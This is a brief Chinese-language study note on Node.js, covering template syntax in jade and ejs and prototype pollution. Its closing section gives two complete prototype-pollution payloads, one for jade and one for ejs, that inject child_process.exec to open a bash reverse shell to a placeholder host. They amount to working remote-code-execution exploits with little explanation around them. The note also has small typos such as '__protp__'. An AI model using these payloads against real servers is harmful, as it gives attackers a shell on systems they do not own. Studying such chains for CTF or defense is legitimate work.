nodejs学习笔记
文章目录
- 基础知识
- 标记替换数据
- 原型污染
基础知识
nodejs发布于2008,是chrome v8引擎下的JavaScript运行环境,所有浏览器都支持js,同样js也只能操控浏览器页面的内容,但不能调用操作系统的api和访问操作系统的文件系统,而nodejs可以起到这样的作用
标记替换数据
Node常见的模板
express 渲染模板,与render_template 有点类似
jade的模板 #{username}
ejs的模板语法 <%=usenrame %>
告诉引擎要在哪里替换数据
原型污染
子类通过__protp__执行父类,可以给父类增加没有的属性
jade模板污染链
{
"__proto__": {
"__proto__": {
"type": "Block",
"nodes": "",
"compileDebug": 1,
"self": 1,
"line": "global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/your-shell.com/3389 0>&1\"')"
}
}
}
ejs的模板污染
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"');var __tmp2"}}}